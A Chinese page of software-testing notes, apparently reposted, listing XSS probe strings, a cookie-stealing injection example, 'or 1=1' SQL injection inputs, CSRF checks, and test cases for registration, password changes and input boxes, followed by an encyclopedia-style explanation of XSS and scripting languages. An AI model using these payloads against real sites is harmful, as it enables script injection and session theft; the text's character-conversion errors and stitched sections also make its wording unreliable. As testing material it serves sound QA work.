  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>

★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

  ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22

  ★%22%2Balert(%27XSS%27)%2B%22

  ★<table background="javascript:alert(([code])"></table>

  ★<object type=text/html data="javascript:alert(([code]);"></object>

  ★<body onload="javascript:alert(([code])"></body>

  ★a?<script>alert(’Vulnerable’)</script>

★<!--'">&:

var from = ‘$!rundata.Parameters.getString(’from’)';

  var from = 」;hackerFunction(document.cookie);」;

 

 

http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX

 

  1. 5.   跨站請求僞造(CSRF

同個瀏覽器打開兩個頁面,一個頁面權限失效後,另外一個頁面是否可操做成功。

當頁面沒有CHECKCODE時,查看頁面源代碼,查是是否有token。若是頁面徹底是展現頁面,是不會有token的。

 

 

 

 

1、      用戶註冊

只從用戶名和密碼角度寫了幾個要考慮的測試點,若是需求中明確規定了安全問題,Email,出生日期,地址,性別等等一系列的格式和字符要求,那就都要寫用例測了~

以等價類劃分和邊界值法來分析

1.填寫符合要求的數據註冊: 用戶名字和密碼都爲最大長度(邊界值分析,取上點)

2.填寫符合要求的數據註冊 :用戶名字和密碼都爲最小長度(邊界值分析,取上點)

3.填寫符合要求的數據註冊:用戶名字和密碼都是非最大和最小長度的數據(邊界值分析,取內點)

4.必填項分別爲空註冊

5.用戶名長度大於要求註冊1位(邊界值分析,取離點)

6.用戶名長度小於要求註冊1位(邊界值分析,取離點)

7.密碼長度大於要求註冊1位(邊界值分析,取離點)

8.密碼長度小於要求註冊1位(邊界值分析,取離點)

9.用戶名是不符合要求的字符註冊(這個能夠劃分幾個無效的等價類,通常寫一兩個就好了,如含有空格,#等,看需求是否容許吧~)

10.密碼是不符合要求的字符註冊(這個能夠劃分幾個無效的等價類,通常寫一兩個就好了)

11.兩次輸入密碼不一致(若是註冊時候要輸入兩次密碼,那麼這個是必須的)

12.從新註冊存在的用戶

13.改變存在的用戶的用戶名和密碼的大小寫,來註冊。(有的需求是區分大小寫,有的不區分)

14.看是否支持tap和enter鍵等;密碼是否能夠複製粘貼;密碼是否以* 之類的加祕符號顯示

備註:邊界值的上點、內點和離點你們應該都知道吧,呵呵,這裏我就不細說了~~

2、   修改密碼

固然具體狀況具體分析哈~不能一律而論~

實際測試中可能只用到其中幾條而已,好比銀行卡密碼的修改,就不用考慮英文和非法字符,更不用考慮那些TAP之類的快捷鍵。而有的須要根據需求具體分析了,好比連續出錯多少次出現的提示,和一些軟件修改密碼要求必定時間內有必定的修改次數限制等等。

1.不輸入舊密碼,直接改密碼

2.輸入錯誤舊密碼

3.不輸入確認新密碼

4.不輸入新密碼

5.新密碼和確認新密碼不一致

6.新密碼中有空格

7.新密碼爲空

8.新密碼爲符合要求的最多字符

9.新密碼爲符合要求的最少字符

10.新密碼爲符合要求的非最多和最少字符

11.新密碼爲最多字符-1

12.新密碼爲最少字符+1

13.新密碼爲最多字符+1

14.新密碼爲最少字符-1

15.新密碼爲非容許字符(若有的密碼要求必須是英文和數字組成,那麼要試漢字和符號等)

16.看是否支持tap和enter鍵等;密碼是否能夠複製粘貼;密碼是否以* 之類的加祕符號

17.看密碼是否區分大小寫,新密碼中英文小寫,確認密碼中英文大寫

18.新密碼與舊密碼同樣可否修改爲功

另一些其餘的想法以下:

1 要測試全部規約中約定能夠輸入的特殊字符,字母,和數字,要求均可以正常輸入、顯示正常和添加成功

2 關注規約中的各類限制,好比長度,大否支持大小寫。

3 考慮各類特殊狀況,好比添加同名用戶,系統是否正確校驗給出提示信息,管理員賬戶是否能夠刪除,由於有些系統管理員擁有最大權限,一旦刪除管理員賬戶,就不能在前臺添加,這給最終用戶會帶來不少麻煩。比較特殊的是,當用戶名中包括了特殊字符,那麼對這類用戶名的添加同名,修改,刪除,系統是否可以正確實現,我就遇到了一個系統,添加同名用戶時,若是之前的用戶名沒有特殊字符,系統能夠給出提示信息,若是之前的用戶名包含特殊字符,就不校驗在插入數據庫的時候報錯。後來查到緣由了,原來是在java中拼SQL語句的時候,由於有"_",因此就調用了一個方法在「_」,前面加了一個轉義字符,後來發現不應調用這個方法。因此去掉就行了。因此對待輸入框中的特殊字符要多關注。

4 數值上的長度 之類的,包括出錯信息是否合理

5 特殊字符:好比。 / ' " \ </html> 這些是否會形成系統崩潰

6 注入式bug:好比密碼輸入個or 1=1  

7 登陸後是否會用明文傳遞參數

8 訪問控制:登陸後保存裏面的連接,關了瀏覽器直接複製連接看能不能訪問。

 

輸入框測試

  1.驗證輸入與輸出的是否信息一致;

  2.輸入框以前的標題是否正確;

  3.對特殊字符的處理,尤爲是輸入信息徐須要發送到數據庫的。特殊字符包括:'(單引號)、"(雙引號)、[](中括號)、()(小括號)、{}(大括號)、;(分號)、<>(大於小於號)……

  4.對輸入框輸入超過限制的字符的處理,通常非特殊的沒有做出限制的在255byte左右;

  5.輸入框自己的大小、長度;

  6.不一樣內碼的字符的輸入;

  7.對空格、TAB字符的處理機制;

  8.字符自己顯示的顏色;

  9.密碼輸入窗口轉換成星號或其它符號;

  10.密碼輸入框對其中的信息進行加密,防止採用破解星號的方法破解;

  11.按下ctrl和alt鍵對輸入框的影響;

  12.對於新增、修改、註冊時用的輸入框,有限制的,應該輸入時做出提示,指出不容許的或者標出容許的;

  13.對於有約束條件要求的輸入框應當在條件知足時輸入框的狀態發生相應的改變,好比選了湖南就應該列出湖南下面的市,或者選了某些條件以後,一些輸入框會關閉或轉爲只讀狀態;

  14.輸入類型;根據前面的欄位標題判斷該輸入框應該輸入哪些內容算是合理的。例如,是否容許輸入數字或字母,不容許輸入其餘字符等。

  15.輸入長度;數據庫字段有長度定義,當輸入過長時,提交數據是否會出錯。

  16.輸入狀態;當處於某種狀態下,輸入框是否處於可寫或非可寫狀態。例如,系統自動給予的編號等欄位做爲惟一標識,當再次處於編輯狀態下,輸入框欄位應處於不可寫狀態,若是可寫對其編輯的話,可能會形成數據重複引發衝突等。

  17.若是是會進行數據庫操做的輸入框,還能夠考慮輸入SQL中的一些特殊符號如單引號等,有時會有意想不到的錯誤出現

  18.輸入類型
輸入長度
是否容許複製粘貼
爲空的狀況
空格的考慮
半角全角測試
對於密碼輸入框要考慮顯示的內容是*  輸入錯誤時的提示信息及提示信息是否準確

  19.能夠先了解你要測試的輸入框在軟件系統的某個功能中所扮演的角色,而後瞭解其具體的輸入條件,在將輸入條件按照有效等價類,無效等價類,邊界值等方法進行測試用例的設計。

  20.關鍵字有大小寫混合的狀況;

  21.關鍵字中含有一個或多個空格的狀況,包括前空格,中間空格(多個關鍵字),和後空格;

  22.關鍵字中是否支持通配符的狀況(視功能而定);

  23.關鍵字的長度分別爲九、十、11個字符時的狀況;

  24.關鍵字是valid,可是沒有匹配搜索結果的狀況;

  25.輸入html的標籤會出現哪些問題?輸入<html> 會出現什麼問題呢?(這條是我本身發現的,在網上也沒找到相似的東東,呵呵,你們湊合着看吧)

  安全測試方面:

  給出一些特別的關鍵字,好比 or 1=1, 這樣的關鍵字若是不被處理就直接用到數據庫查詢中去,後果可想而知。

 

用戶體驗相關

我登陸失敗的時候沒有任何提示,這沒什麼,反正提示也只是說失敗…

進去後發現顏色變動很強烈刺得我一眨眼,不過多看幾回就習慣了。

點擊某個連接的時候出現錯誤頁面,刷新後就行了,難道是隨機錯誤?

保存文字的時候沒有成功提示,不過能成功保存就算了。

瀏覽記錄的時候居然出現錯誤頁面,原來我沒有選記錄就瀏覽了,我本身操做不規範嘛。

刪除記錄的時候發現選錯了,想取消的時候卻提示刪除成功,都沒有確認提示,只能下次看仔細點了。

查詢時字母鍵被茶杯壓住了多輸了點字符,居然出現錯誤頁面,下次把東西整理好。

無聊隨便點點幾個連接,居然沒有反應,既然不用,那就不要作出來嘛。

看看本身上傳的圖片效果如何,這個怎麼不顯示?多試幾回發現名字不包含中文就行了,下次注意下。

改改字體字號顏色美化環境嘛,怎麼格式那裏不顯示正確的字體字號呢,將就用吧。

這裏的記錄條數怎麼這麼多啊?原來是沒有刪除按鈕,看來下次不能隨便加了。

這個結束時間怎麼在開始時間前啊?原來沒有進行控制,下面的人執行時……仍是本身改過來吧。

上次我在這裏看見的圖片呢?刷新後就出來了,怎麼和我玩捉迷藏呢?

多輸了點內容,保存時候提示太多了,點肯定後發現被清空了,我一個小時的工做啊!

這張圖片真不錯,可是按鈕呢,按鈕呢?按鈕被擠掉了我怎麼編輯啊。

據說F5是刷新點一下看看。怎麼好像變成了登陸界面?

剛學了怎麼用TAB鍵,確實很方便。TAB一下。跑哪去了,怎麼一片空白啊???

玩遊戲的人點擊速度那麼快,我也來試試。怎麼一雙擊就出錯了?

我找錯別字是很厲害的,這不就發現「贊成」寫成了「統一」。

這裏提示只能輸入1-100,我偏要輸入9999……保存看看,怎麼系統不能用了?

這裏一點擊就出現IE錯誤,硬是不彈出我須要的窗口。

這個查詢按鈕怎麼灰掉了?這麼多記錄讓我一頁一頁翻過去找啊。

上傳第二個附件的時候怎麼把第一個擠掉了啊,會擠掉也要提示一下嘛。

一個頁面上打開的記錄太多了,變體都用…省略了,要是鼠標放上去浮動顯示完整標題就方便多了。

這幾條記錄有依存關係,刪了一條其餘就沒了,提示都沒有,早知道我就用編輯了……

這條記錄怎麼好像是昨天的,我記得今天更新了啊?原來編輯後的記錄沒有傳到引用的地方。

最最奇怪的是昨天上傳時候正常的圖片今天就不能顯示了。我記得沒有隻能顯示一天的功能啊???

這裏怎麼沒有任何按鈕呢,看手冊才知道居然要用右鍵進行操做,怎麼忽然冒出個異類啊???

這裏怎麼能增長兩條相同的記錄呢?不控制一下天知道手下那些愣頭青會作出什麼來。

這裏的菜單一層一層又一層,足足有五層,把我頭都繞暈了……我記得哪裏說過最好不要超過三層的。

這個界面看起來怎麼這麼彆扭啊,是字體太大了,是按鈕過小了,仍是功能太多了,……

怎麼不是管理員登陸進來也能管理啊,那我這個管理員的身份不是畫蛇添足嗎?

刪除的時候提示Error,幸好我英語水平好,但是你換成中文不行嗎?

這條記錄不是刪除了嗎,怎麼還能引用啊,到時候出錯了怎麼辦,難道還要我記住刪了那些記錄?

通過精心編輯,我發了一條通知,怎麼用普通用戶查看的時候是默認的字體字號啊???


 [D1] XSS又叫CSS (Cross Site Script) ,跨站腳 本攻擊。它指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意攻擊用戶 的特殊目的。XSS屬於被動式的攻擊,由於其被動且很差利用,因此許多人常忽略其危害性。而本文主要講的是利用XSS獲得目標服務器的shell

 [D2]基本簡介

  腳本是批處理文件的延伸,是一種純文本保存的程序,通常來講的計算機腳本程序是肯定的一系列控制計算機進行運算操做動做的組合,在其中能夠實現必定的邏輯分支等。

  腳本簡單地說就是一條條的文字命令,這些文字命令是能夠看到的(如能夠用記事本打開查看、編 輯),腳本程序在執行時,是由系統的一個解釋器,將其一條條的翻譯成機器可識別的指令,並按程序順序執行。由於腳本在執行時多了一道翻譯的過程,因此它比 二進制程序執行效率要稍低一些。

  腳本一般能夠由應用程序臨時調用並執行。各種腳本被普遍地應用於網頁設計中,由於腳本不只能夠減少網頁的規模和提升網頁瀏覽速度,並且能夠豐富網頁的表現,如動畫、聲音等。舉個最多見的例子,當點擊網頁上的Email地址時能自動調用Outlook ExpressFoxmail這類郵箱軟件,就是經過腳本功能來實現的。也正由於腳本的這些特色,每每被一些別有用心的人所利用。例如在腳本中加入一些破壞計算機系統的命令,這樣當用戶瀏覽網頁時,一旦調用

 

這類腳本,便會使用戶的系統受到攻擊。因此用戶應根據對所訪問網頁的信任程度選擇安全等級,特別是對於那些自己內容就非法的網頁,更不要輕易容許使用腳本。經過「安全設置」對話框,選擇「腳本」選項下的各類設置就能夠輕鬆實現對腳本的禁用和啓用。

[編輯本段]

相關語言

  腳本語言是 比較多的,通常的腳本語言的執行只同具體的解釋執行器有關,因此只要系統上有相應語言的解釋程序就能夠作到跨平臺。腳本(Script),就是含有 bind和alias等命令的集合,你能夠把這個集合存爲一個獨立的文件而後在須要的時候執行,這樣就能夠方便你在CS中的使用。腳本能夠存爲後綴名 爲.cfg的文件放在cstrike文件夾下,執行時在控制檯輸入:exec(腳本文件名).cfg 便可。好比將一個腳本存爲 buys.cfg文件,則在控制檯中輸入:execbuys.cfg則能夠實現咱們所須要的功能。要實現一個命令只要把這一過程定義(alias)好,並 且分配一個鍵位給這個命令,之後只要按分配好的鍵位,就能夠實現這一過程。全部的腳本都是經過這一方法實現的。

  常見的腳本語言:Scala、JavaScript,VBScript,ActionScript,MAX Script,ASP,JSP,PHP,SQL,Perl,Shell,python,Ruby,JavaFX,Lua,AutoIt等。

[編輯本段]

主要特性

  語法和結構一般比較簡單

  學習和使用一般比較簡單

  一般以容易修改程序的「解釋」做爲運行方式,而不須要「編譯」

  程序的開發產能優於運行效能

相關文章
相關標籤/搜索